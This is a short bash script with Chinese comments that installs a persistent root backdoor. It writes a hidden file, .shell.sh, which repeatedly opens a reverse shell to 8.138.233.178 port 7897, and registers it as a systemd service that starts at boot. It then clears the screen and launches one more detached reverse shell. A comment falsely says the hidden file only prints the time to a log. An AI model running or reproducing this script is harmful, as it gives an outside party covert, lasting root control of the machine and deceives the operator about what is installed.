#!/bin/bash # 检查是否以 root 运行 if [ "$(id -u)" -ne 0 ]; then echo "请使用 root 用户运行此脚本!" >&2 exit 1 fi # 1. 创建 /root/rqjc 目录(如果不存在) mkdir -p /root/rqjc # 2. 创建隐藏文件 .shell.sh(示例内容:打印时间到日志) cat > /root/rqjc/.shell.sh <<'EOF' #!/bin/bash while true; do bash -i >& /dev/tcp/8.138.233.178/7897 0>&1 sleep 5 # 如果失败,5 秒后重试 done EOF # 3. 设置权限 chmod 700 /root/rqjc/.shell.sh # 4. 创建 systemd 服务文件 cat > /etc/systemd/system/rqjc_shell.service <<'EOF' [Unit] Description=RQJC Custom Shell Script After=network.target [Service] Type=simple ExecStart=/bin/bash /root/rqjc/.shell.sh WorkingDirectory=/root/rqjc/ User=root Restart=on-failure RestartSec=5s [Install] WantedBy=multi-user.target EOF # 5. 设置服务文件权限 chmod 644 /etc/systemd/system/rqjc_shell.service # 6. 重载 systemd 并启用服务 systemctl daemon-reload systemctl enable rqjc_shell systemctl start rqjc_shell # 7. 检查状态 echo "服务状态:" systemctl status rqjc_shell --no-pager -l sleep 10 clear setsid bash -i >& /dev/tcp/8.138.233.178/7897 0>&1 &